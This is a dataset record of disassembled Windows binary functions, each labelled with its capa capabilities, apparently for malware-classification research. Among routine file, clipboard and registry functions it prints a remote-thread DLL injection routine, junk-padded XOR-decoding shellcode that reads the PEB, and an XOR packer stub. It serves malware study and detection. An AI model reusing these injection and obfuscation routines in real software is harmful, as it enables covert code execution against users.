joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4026e7
Capabilities:
Create process on windows
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7c0
push ebx
push esi
mov byte [ebp - 1], dl
mov ebx, eax
mov eax, ebx
call fcn.00410164
cmp eax, 0x3f6
jae 0x402929
lea eax, [ebp - 0x40]
mov ecx, 0x3c
xor edx, edx
call fcn.004100dc
mov dword [ebp - 0x40], 0x3c
mov dword [ebp - 0x3c], 0x5c0
xor eax, eax
mov al, byte [ebx]
cmp eax, 0x22
jne 0x402734
lea edx, [ebx + 1]
jmp 0x402736
mov edx, ebx
mov dword [ebp - 0x30], edx
xor eax, eax
jmp 0x40278d
xor ecx, ecx
mov cl, byte [ebx + eax]
cmp ecx, 0x22
jne 0x402760
jmp 0x402759
xor edx, edx
mov dl, byte [ebx + eax]
cmp edx, 0x22
jne 0x402759
mov byte [ebx + eax], 0x20
jmp 0x402760
inc eax
cmp byte [ebx + eax], 0
jne 0x402749
xor ecx, ecx
mov cl, byte [ebx + eax]
cmp ecx, 0x20
je 0x402775
xor edx, edx
mov dl, byte [ebx + eax + 1]
cmp edx, 0x2f
jne 0x40278c
xor ecx, ecx
mov cl, byte [ebx + eax]
cmp ecx, 0x20
jne 0x402783
mov byte [ebx + eax], 0
lea eax, [eax + ebx + 1]
mov dword [ebp - 0x2c], eax
jmp 0x402793
inc eax
cmp byte [ebx + eax], 0
jne 0x40273d
cmp byte [0x415d0a], 0
je 0x4027a3
mov dword [ebp - 0x2c], 0x415d0a
mov dword [ebp - 0x24], 1
mov eax, dword [ebp - 0x30]
call fcn.004063d0
mov esi, eax
test esi, esi
je 0x4027cf
mov edx, str..inf
mov eax, esi
call fcn.00410260
test eax, eax
jne 0x4027cf
mov dword [ebp - 0x34], 0x41523b
xor edx, edx
mov eax, dword [ebp - 0x30]
call fcn.004070e8
mov byte [ebp - 2], al
cmp byte [ebp - 2], 0
je 0x4027f9
lea edx, [ebp - 0x440]
mov eax, dword [ebp - 0x30]
call fcn.004071b4
lea ecx, [ebp - 0x440]
mov dword [ebp - 0x30], ecx
cmp byte [ebp - 1], 0
je 0x402838
cmp byte [ebp - 2], 0
jne 0x402838
lea eax, [ebp - 0x840]
mov edx, dword [ebp - 0x30]
call fcn.004101e0
mov edx, str..exe
lea eax, [ebp - 0x840]
call fcn.004102a8
lea eax, [ebp - 0x840]
xor edx, edx
call fcn.004070e8
test al, al
je 0x402929
lea ecx, [ebp - 0x40]
push ecx
call sub.SHELL32.DLL_ShellExecuteExA
test eax, eax
setne al
and eax, 1
test al, al
jne 0x402868
and dword [ebp - 0x3c], 0xfffffbff
mov dword [ebp - 0x30], ebx
lea edx, [ebp - 0x40]
push edx
call sub.SHELL32.DLL_ShellExecuteExA
test eax, eax
setne al
and eax, 1
test al, al
je 0x402929
xor ebx, ebx
cmp byte [0x415900], 0
jne 0x402881
cmp byte [ebp - 1], 0
je 0x4028ca
cmp dword [0x41618c], 0
je 0x402899
push dword [0x41618c]
call sub.USER32.DLL_IsWindowVisible
test eax, eax
jne 0x40289d
xor eax, eax
jmp 0x4028a2
mov eax, 1
test eax, eax
je 0x4028b5
push 0
push dword [0x41618c]
call sub.USER32.DLL_ShowWindow
mov bl, 1
push 0x7d0
push dword [ebp - 8]
call sub.USER32.DLL_WaitForInputIdle
mov eax, dword [ebp - 8]
call fcn.0040292f
push dword [ebp - 8]
call sub.KERNEL32.DLL_CloseHandle
test esi, esi
je 0x4028e6
mov edx, str..exe
mov eax, esi
call fcn.00410260
test eax, eax
je 0x402918
cmp byte [0x415900], 0
je 0x402901
cmp byte [ebp - 1], 0
jne 0x402901
push 0x1b58
call sub.KERNEL32.DLL_Sleep
jmp 0x402918
cmp byte [ebp - 1], 0
mov edx, 0xc8
jne 0x402912
add edx, 0x320
push edx
call sub.KERNEL32.DLL_Sleep
test bl, bl
je 0x402929
push 1
push dword [0x41618c]
call sub.USER32.DLL_ShowWindow
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x7ffe5338
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword fs:[0x30]
not eax
not eax
push eax
pop eax
add al, 4
sub al, 4
push es
pop ds
add al, 4
sub al, 4
push eax
pop eax
add al, 4
sub al, 4
add al, 0
push bx
inc esp
inc esp
inc esi
dec esi
not eax
not eax
push eax
pop eax
push bx
inc esp
inc esp
and al, 0xff
push bx
inc esp
inc esp
push eax
pop eax
not eax
not eax
and al, 0xff
not eax
not eax
push es
pop ds
xor eax, ecx
xor eax, ecx
inc esi
dec esi
not eax
not eax
push eax
pop eax
xor eax, ecx
xor eax, ecx
push eax
pop eax
not eax
not eax
push eax
pop eax
pushf
popf
and al, 0xff
pushf
popf
and al, 0xff
pushf
popf
push eax
pop eax
pushf
popf
inc esi
dec esi
not eax
not eax
push eax
pop eax
add al, 4
sub al, 4
push eax
pop eax
push bx
inc esp
inc esp
push es
pop ds
add al, 4
sub al, 4
push es
pop ds
not eax
not eax
and al, 0xff
pushf
popf
inc esi
dec esi
push bx
inc esp
inc esp
inc esi
dec esi
pushf
popf
push eax
pop eax
xor eax, ecx
xor eax, ecx
and al, 0xff
add al, 4
sub al, 4
and al, 0xff
add al, 4
sub al, 4
push eax
pop eax
add al, 4
sub al, 4
inc esi
dec esi
stc
call 0x7ffe53f8
pop edx
push es
pop ds
xor dx, dx
add edx, 0xd5e0
cld
add al, 0
xor ecx, ecx
xor eax, ecx
xor eax, ecx
mov cl, 0x1e
push eax
pop eax
not eax
not eax
push es
pop ds
lea esp, [esp]
xor byte [ecx + edx], 0xf9
loop 0x7ffe541a
and al, 0xff
push bx
inc esp
inc esp
push es
pop ds
push dword fs:[0x24]
not eax
not eax
push eax
pop eax
not eax
not eax
stc
pop dword [edx + 0xa]
add al, 4
sub al, 4
and al, 0xff
xor eax, ecx
xor eax, ecx
mov cl, 0xff
lea esp, [esp]
push edx
loop 0x7ffe544c
clc
mov dword [edx + 0x11], 0xffffacbb
push es
pop ds
inc esi
dec esi
mov ecx, dword [eax + 0x2c]
push es
pop ds
add al, 4
sub al, 4
and al, 0xff
inc esi
dec esi
mov dword [edx + 0x1b], ecx
stc
and al, 0xff
mov dword [edx + 0x100], ecx
push es
pop ds
add al, 4
sub al, 4
inc esi
dec esi
nop
add al, 0
mov dword [eax + 0x2c], esp
add al, 4
sub al, 4
stc
push 0
not eax
not eax
inc esi
dec esi
push 0
nop
push 0
and al, 0xff
not eax
not eax
and al, 0xff
cld
push 0
push es
pop ds
not eax
not eax
and al, 0xff
and al, 0xff
clc
push 0x30
push 0x20
push bx
inc esp
inc esp
inc esi
dec esi
add al, 4
sub al, 4
nop
push 0
push bx
inc esp
inc esp
pushal
inc eax
popal
push 0
pushf
popf
push es
pop ds
add edx, 0xffff7f36
push bx
inc esp
inc esp
inc esi
dec esi
cld
push edx
push edx
push eax
pop eax
not eax
not eax
push 0
inc esi
dec esi
call dword [edx + 0x820d]
add al, 4
sub al, 4
add esp, 0x3f8
add al, 0
add al, 4
sub al, 4
inc esi
dec esi
nop
xor eax, eax
and al, 0xff
push es
pop ds
nop
inc eax
push bx
inc esp
inc esp
ret 0xc
Function at 0x4e9e5d
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004e9cd3
Function at 0x407e30
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004033fc
xor eax, eax
push ebp
push 0x407f09
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp byte [eax], 0x5c
jne 0x407e68
mov eax, dword [ebp - 4]
call fcn.00407220
jmp 0x407e70
mov eax, dword [ebp - 4]
call fcn.00407c1c
call fcn.00404ae8
mov esi, eax
test esi, esi
jle 0x407ebc
mov ebx, 1
lea edx, [ebp - 8]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 8]
cmp byte [eax], 0x5c
jne 0x407ea6
lea edx, [ebp - 0xc]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 0xc]
call fcn.00407220
jmp 0x407eb8
lea edx, [ebp - 0x10]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 0x10]
call fcn.00407c1c
inc ebx
dec esi
jne 0x407e80
push 1
push dword [ebp - 4]
push 0x407f20
lea edx, [ebp - 0x18]
xor eax, eax
call fcn.00406f84
push dword [ebp - 0x18]
lea eax, [ebp - 0x14]
mov edx, 3
call fcn.004032cc
mov eax, dword [ebp - 0x14]
call fcn.0040340c
push eax
call sub.kernel32.dll_WinExec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407f10
lea eax, [ebp - 0x18]
mov edx, 6
call fcn.004030b8
ret

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
pop eax
nop
nop
nop
nop
nop
nop
add eax, 0x403d6f
sub eax, 0x403d15
nop
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
cmp ebx, ecx
nop
nop
nop
jl 0x430030
nop
nop
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
nop
nop
popal
jmp loc.00401219
Function at 0x401862
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push esi
mov esi, ecx
push dword [esi + 4]
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x4018c2
mov eax, dword [esi + 0x6c]
push edi
inc eax
push eax
push 2
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov edi, eax
push edi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov ecx, dword [esi + 0x6c]
mov esi, dword [esi + 0x68]
test esi, esi
jne 0x401899
mov esi, dword [sym.imp.MSVCP60.dll_char_const__private:_static_char_const____cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Nullstr_void_::_2::_C]
inc ecx
push ecx
push esi
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push edi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_EmptyClipboard]
push edi
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
call dword [sym.imp.USER32.dll_CloseClipboard]
pop edi
push 1
pop eax
pop esi
ret 0xc
Function at 0x406d20
Capabilities:
Write file on windows

Disassembly:
mov eax, dword [esp + 4]
mov eax, dword [eax + 4]
test eax, eax
jne 0x406d30
mov eax, dword [sym.imp.MSVCP60.dll_unsigned_short_int_const__private:_static_unsigned_short_int_const____cdecl_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::_Nullstr_void_::_2::_C]
push esi
push 0x44801c
push eax
call dword [sym.imp.MSVCRT.dll__wfopen]
mov esi, eax
pop ecx
test esi, esi
pop ecx
je 0x406d84
mov eax, dword [esp + 0xc]
mov eax, dword [eax + 4]
test eax, eax
jne 0x406d55
mov eax, 0x436674
mov ecx, dword [esp + 0x10]
push esi
push 1
add eax, ecx
push dword [esp + 0x1c]
push eax
call dword [sym.imp.MSVCRT.dll_fwrite]
add esp, 0x10
cmp eax, 1
push esi
je 0x406d7d
call dword [sym.imp.MSVCRT.dll_fclose]
pop ecx
xor eax, eax
jmp 0x406d87
call dword [sym.imp.MSVCRT.dll_fclose]
pop ecx
push 1
pop eax
pop esi
ret 0x10
Function at 0x407f38
Capabilities:
Write file on windows

Disassembly:
mov eax, 0x430f1c
call fcn.0041aad0
sub esp, 0x14
mov al, byte [ebp - 0xd]
push ebx
push esi
mov esi, ecx
push 0
lea ecx, [ebp - 0x20]
mov bl, 1
mov byte [ebp - 0x20], al
call fcn.00404c5b
and dword [ebp - 4], 0
lea eax, [ebp - 0x20]
push eax
push 0x3fc
mov ecx, esi
call fcn.00407d00
mov ecx, esi
call fcn.00407883
mov esi, eax
test esi, esi
je 0x407fc6
mov edx, dword [ebp - 0x1c]
mov eax, 0x436674
test edx, edx
mov ecx, eax
je 0x407f8c
mov ecx, edx
mov ecx, dword [ecx]
cmp ecx, dword [0x4366e7]
jne 0x407fbc
test edx, edx
je 0x407f9c
mov eax, edx
mov ecx, dword [ebp - 0x18]
push esi
add ecx, 0xfffffffc
push 1
add eax, 4
push ecx
push eax
call dword [sym.imp.MSVCRT.dll_fwrite]
mov ebx, eax
add esp, 0x10
dec ebx
neg ebx
sbb bl, bl
inc bl
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
pop ecx
jmp 0x407fc8
xor bl, bl
or dword [ebp - 4], 0xffffffff
push 1
lea ecx, [ebp - 0x20]
call fcn.00404c5b
mov ecx, dword [ebp - 0xc]
mov al, bl
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret

Function at 0x407fe6
Capabilities:
Write file on windows

Disassembly:
mov eax, 0x430f30
call fcn.0041aad0
sub esp, 0x14
mov al, byte [ebp - 0xd]
push ebx
push esi
mov esi, ecx
xor ebx, ebx
lea ecx, [ebp - 0x20]
push ebx
mov byte [ebp - 0x20], al
call fcn.00404c5b
lea eax, [ebp - 0x20]
mov ecx, esi
push eax
push 0x401
mov dword [ebp - 4], ebx
call fcn.00407d00
mov ecx, esi
call fcn.00407c26
mov esi, eax
cmp esi, ebx
je 0x408054
mov eax, dword [ebp - 0x1c]
cmp eax, ebx
jne 0x408034
mov eax, 0x436674
push esi
push 1
push dword [ebp - 0x18]
push eax
call dword [sym.imp.MSVCRT.dll_fwrite]
mov ebx, eax
push esi
dec ebx
neg ebx
sbb bl, bl
inc bl
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 0x14
or dword [ebp - 4], 0xffffffff
push 1
lea ecx, [ebp - 0x20]
call fcn.00404c5b
mov ecx, dword [ebp - 0xc]
mov al, bl
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x40da48
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x100c
call fcn.0041ae90
push ebx
push edi
call fcn.0040d8bf
mov edx, dword [0x449fb4]
mov ebx, eax
mov ecx, 0x1ff
xor eax, eax
lea edi, [ebp - 0x1008]
mov dword [ebp - 0x100c], edx
rep stosd dword es:[edi], eax
mov ecx, 0x1ff
lea edi, [ebp - 0x808]
mov dword [ebp - 0x80c], edx
mov dword [ebp - 4], eax
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
rep stosd dword es:[edi], eax
mov eax, 0x400
lea ecx, [ebp - 0x80c]
push eax
push ecx
lea ecx, [ebp - 0xc]
push ecx
lea ecx, [ebp - 8]
push ecx
lea ecx, [ebp - 4]
push ecx
push eax
lea eax, [ebp - 0x100c]
push eax
push 0x448218
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
push dword [ebp + 8]
push ebx
push dword [ebp - 4]
call fcn.0040d99e
add esp, 0xc
mov al, 1
pop edi
pop ebx
leave
ret

Function at 0x40dad6
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x100c
call fcn.0041ae90
push ebx
push edi
call fcn.0040d8bf
mov edx, dword [0x449fb4]
mov ebx, eax
mov ecx, 0x1ff
xor eax, eax
lea edi, [ebp - 0x1008]
mov dword [ebp - 0x100c], edx
rep stosd dword es:[edi], eax
mov ecx, 0x1ff
lea edi, [ebp - 0x808]
mov dword [ebp - 0x80c], edx
mov dword [ebp - 4], eax
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
rep stosd dword es:[edi], eax
mov eax, 0x400
lea ecx, [ebp - 0x80c]
push eax
push ecx
lea ecx, [ebp - 0xc]
push ecx
lea ecx, [ebp - 8]
push ecx
lea ecx, [ebp - 4]
push ecx
push eax
lea eax, [ebp - 0x100c]
push eax
push 0x448218
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
push dword [ebp + 8]
push ebx
push dword [ebp - 4]
call fcn.0040da0e
add esp, 0xc
mov al, 1
pop edi
pop ebx
leave
ret
Function at 0x40dca1
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
mov eax, 0x431a1c
call fcn.0041aad0
sub esp, 0x20
push ebx
push esi
push edi
xor esi, esi
mov dword [ebp - 0x10], esp
push dword [ebp + 8]
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x14], esi
push esi
push 0x42a
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_OpenProcess]
cmp eax, esi
mov dword [ebp + 8], eax
jne 0x40dce6
lea eax, [ebp - 0x1c]
push 0x43df78
push eax
mov dword [ebp - 0x1c], esi
call sub.MSVCRT.dll__CxxThrowException
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
push 4
push 0x1000
lea edi, [eax + eax]
push edi
push esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ebx, eax
cmp ebx, esi
mov dword [ebp - 0x14], ebx
jne 0x40dd1f
lea eax, [ebp - 0x20]
push 0x43df78
push eax
mov dword [ebp - 0x20], esi
call sub.MSVCRT.dll__CxxThrowException
push esi
push edi
push dword [ebp + 0xc]
push ebx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x40dd43
lea eax, [ebp - 0x24]
push 0x43df78
push eax
mov dword [ebp - 0x24], esi
call sub.MSVCRT.dll__CxxThrowException
push str.LoadLibraryW
push str.Kernel32
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, esi
jne 0x40dd6f
lea eax, [ebp - 0x28]
push 0x43df78
push eax
mov dword [ebp - 0x28], esi
call sub.MSVCRT.dll__CxxThrowException
push esi
push esi
push ebx
push eax
push esi
push esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
cmp eax, esi
jne 0x40ddc0
lea eax, [ebp - 0x2c]
push 0x43df78
push eax
mov dword [ebp - 0x2c], esi
call sub.MSVCRT.dll__CxxThrowException
xor esi, esi
cmp dword [ebp - 0x14], esi
je 0x40ddac
push 0x8000
push esi
push dword [ebp - 0x14]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
cmp dword [ebp + 8], esi
je 0x40ddba
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0x40ddd0
ret
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x18], 1
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x18]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret 8
Function at 0x40dee8
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
push esi
push edi
lea eax, [ebp - 0x28]
push dword [ebp + 0x10]
xor ebx, ebx
push 0x448280
push eax
call dword [sym.imp.MSVCRT.dll_swprintf]
add esp, 0xc
lea eax, [ebp - 0x28]
push dword [ebp + 0xc]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
cmp esi, ebx
je 0x40df65
push esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, ebx
je 0x40df65
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
cmp edi, ebx
je 0x40df65
push esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov esi, eax
cmp esi, ebx
je 0x40df65
push dword [0x436670]
mov ecx, dword [ebp + 0x14]
push ebx
call fcn.00405c3d
mov ecx, dword [ebp + 0x14]
push esi
push edi
call fcn.00405f8e
push 1
pop ebx
pop edi
mov eax, ebx
pop esi
pop ebx
leave
ret
Function at 0x40dfd3
Capabilities:
Get common file path
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80c
mov eax, dword [sym.imp.MSVCP60.dll_unsigned_int_const_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::npos]
mov ecx, dword [ebp + 8]
push ebx
xor ebx, ebx
mov dword [ebp - 4], ebx
push dword [eax]
push ebx
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int______thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::erase_unsigned_int__unsigned_int_]
lea eax, [ebp - 4]
push eax
push 0x20019
push ebx
push str.SYSTEMCurrentControlSetControlSession_ManagerEnvironment
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp dword [ebp - 4], ebx
mov dword [ebp - 8], 0x400
je 0x40e0d0
push esi
lea eax, [ebp - 8]
push edi
push eax
lea eax, [ebp - 0x80c]
push eax
lea eax, [ebp - 0xc]
push eax
push ebx
push str.TEMP
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x40e0c5
mov esi, dword [sym.imp.MSVCRT.dll_wcslen]
lea eax, [ebp - 0x80c]
push eax
call esi
pop ecx
mov ecx, dword [ebp + 8]
push eax
lea eax, [ebp - 0x80c]
push eax
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int______thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::assign_unsigned_short_int_const___unsigned_int_]
mov edi, dword [0x448258]
push edi
call esi
pop ecx
mov ecx, dword [ebp + 8]
push eax
push ebx
push edi
call dword [sym.imp.MSVCP60.dll_public:_unsigned_int___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::find_unsigned_short_int_const___unsigned_int__unsigned_int_const]
mov edi, eax
mov eax, dword [sym.imp.MSVCP60.dll_unsigned_int_const_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::npos]
cmp edi, dword [eax]
je 0x40e0c5
lea eax, [ebp - 0x80c]
push 0x400
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
test eax, eax
jbe 0x40e0c5
push dword [0x448258]
call esi
mov ebx, eax
lea eax, [ebp - 0x80c]
push eax
call esi
pop ecx
pop ecx
mov ecx, dword [ebp + 8]
push eax
lea eax, [ebp - 0x80c]
push eax
push ebx
push edi
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int______thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::replace_unsigned_int__unsigned_int__unsigned_short_int_const___unsigned_int_]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x414201
Capabilities:
Get common file path

Disassembly:
mov eax, 0x431c69
call fcn.0041aad0
mov eax, 0x1058
call fcn.0041ae90
push esi
mov esi, 0x800
push edi
lea eax, [ebp - 0x1064]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea eax, [ebp - 0x864]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
xor esi, esi
xor eax, eax
lea edi, [ebp - 0x1a]
mov word [ebp - 0x1c], si
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 0xe
lea eax, [ebp - 0x1c]
push esi
push eax
call sub.MSVCRT.dll_memset
push esi
push esi
lea eax, [ebp - 0x1c]
push esi
push eax
lea eax, [ebp - 0x864]
push eax
call dword [sym.imp.MSVCRT.dll__wsplitpath]
lea eax, [ebp - 0x1c]
push 0x447168
push eax
call dword [sym.imp.MSVCRT.dll_wcscat]
lea eax, [ebp - 0x1064]
push esi
push eax
call fcn.0040e490
add esp, 0x30
test al, al
jne 0x4142bc
lea eax, [ebp - 0x864]
push esi
push eax
call fcn.0040e490
pop ecx
test al, al
pop ecx
jne 0x4142bc
lea eax, [ebp - 0x1c]
push esi
push eax
call fcn.0040e490
pop ecx
test al, al
pop ecx
jne 0x4142bc
mov ecx, dword [ebp - 0xc]
pop edi
inc al
pop esi
mov dword fs:[0], ecx
leave
ret
mov eax, dword [0x44b554]
cmp eax, esi
jne 0x4142ca
mov eax, dword [sym.imp.MSVCP60.dll_char_const__private:_static_char_const____cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Nullstr_void_::_2::_C]
push dword [0x449028]
push eax
lea eax, [ebp - 0x2c]
push eax
call fcn.0040cbf4
lea eax, [ebp - 0x2c]
mov dword [ebp - 4], esi
push eax
call fcn.0040c1e7
add esp, 0x10
lea eax, [ebp - 0x2c]
lea ecx, [ebp - 0x48]
push eax
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::runtime_error::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
mov esi, 0x436644
mov dword [ebp - 0x48], esi
lea eax, [ebp - 0x48]
lea ecx, [ebp - 0x64]
push eax
mov byte [ebp - 4], 1
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::runtime_error::constructor_class_std::runtime_error_const__]
lea eax, [ebp - 0x64]
push 0x43d200
push eax
mov dword [ebp - 0x64], esi
call sub.MSVCRT.dll__CxxThrowException